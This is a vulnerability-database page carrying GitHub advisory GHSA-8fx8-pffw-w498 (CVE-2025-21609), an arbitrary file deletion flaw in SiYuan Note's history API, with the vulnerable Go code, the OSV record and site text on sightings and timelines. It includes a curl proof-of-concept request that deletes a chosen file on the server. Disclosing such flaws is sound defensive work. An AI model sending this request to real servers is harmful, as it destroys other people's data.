GHSA-8FX8-PFFW-W498
Vulnerability from github – Published: 2025-01-03 16:24 – Updated: 2025-01-03 19:26Summary
A arbitrary file deletion vulnerability has been identified in the latest version of Siyuan Note. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.
Details
The vulnerability can be reproduced by sending a crafted request to the /api/history/getDocHistoryContent endpoint.
Sending a request to the /api/history/getDocHistoryContent like:
curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'
Replace <abs_filepath_of_a_file> with the absolute file path of the target file you wish to delete.
The historyPath parameter in the payload is processed by the func getDocHistoryContent in api/history.go:133.
In turn, historyPath is passed to the func GetDocHistoryContent located in model/history.go:150 , which is the slink of the vulnerability.
if historyPath exists and does not satisfy the filesys.ParseJSONWithoutFix, then it will be deleted by os.RemoveAll
func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) {
if !gulu.File.IsExist(historyPath) {
logging.LogWarnf("doc history [%s] not exist", historyPath)
return
}
data, err := filelock.ReadFile(historyPath)
if err != nil {
logging.LogErrorf("read file [%s] failed: %s", historyPath, err)
return
}
isLargeDoc = 1024*1024*1 <= len(data)
luteEngine := NewLute()
historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)
if err != nil {
logging.LogErrorf("parse tree from file [%s] failed, remove it", historyPath)
os.RemoveAll(historyPath)
return
}
...
}
PoC
curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'
Impact
arbitrary file deletion vulnerability
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 0.0.0-20250103014808-d9887aeec1b2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-21609"
],
"database_specific": {
"cwe_ids": [
"CWE-459",
"CWE-552"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-03T16:24:34Z",
"nvd_published_at": "2025-01-03T17:15:09Z",
"severity": "HIGH"
},
"details": "### Summary\nA **arbitrary file deletion vulnerability** has been identified in the latest version of Siyuan Note. The vulnerability exists in the `POST /api/history/getDocHistoryContent` endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.\n\n### Details\nThe vulnerability can be reproduced by sending a crafted request to the `/api/history/getDocHistoryContent` endpoint.\n\nSending a request to the `/api/history/getDocHistoryContent` like:\n\n```\ncurl \"http://127.0.0.1:6806/api/history/getDocHistoryContent\" -X POST -H \"Content-Type: application/json\" -d \u0027{\"historyPath\":\"\u003cabs_filepath_of_a_file\u003e\"}\u0027\n```\n\nReplace `\u003cabs_filepath_of_a_file\u003e` with the absolute file path of the target file you wish to delete.\n\n\n\nThe `historyPath` parameter in the payload is processed by the `func getDocHistoryContent` in `api/history.go:133`.\n\nIn turn, `historyPath` is passed to the `func GetDocHistoryContent` located in `model/history.go:150` , which is the slink of the vulnerability.\n\nif `historyPath` exists and does not satisfy the `filesys.ParseJSONWithoutFix`, then it will be deleted by `os.RemoveAll`\n\n```go\nfunc GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) {\n\tif !gulu.File.IsExist(historyPath) {\n\t\tlogging.LogWarnf(\"doc history [%s] not exist\", historyPath)\n\t\treturn\n\t}\n\n\tdata, err := filelock.ReadFile(historyPath)\n\tif err != nil {\n\t\tlogging.LogErrorf(\"read file [%s] failed: %s\", historyPath, err)\n\t\treturn\n\t}\n\tisLargeDoc = 1024*1024*1 \u003c= len(data)\n\n\tluteEngine := NewLute()\n\thistoryTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)\n\tif err != nil {\n\t\tlogging.LogErrorf(\"parse tree from file [%s] failed, remove it\", historyPath)\n\t\tos.RemoveAll(historyPath)\n\t\treturn\n\t}\n\t...\n}\n```\n\n\n\n### PoC\n```\ncurl \"http://127.0.0.1:6806/api/history/getDocHistoryContent\" -X POST -H \"Content-Type: application/json\" -d \u0027{\"historyPath\":\"\u003cabs_filepath_of_a_file\u003e\"}\u0027\n```\n\n### Impact\narbitrary file deletion vulnerability\n",
"id": "GHSA-8fx8-pffw-w498",
"modified": "2025-01-03T19:26:05Z",
"published": "2025-01-03T16:24:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-8fx8-pffw-w498"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21609"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/d9887aeec1b27073bec66299a9a4181dc42969f3"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SiYuan has an arbitrary file deletion vulnerability"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.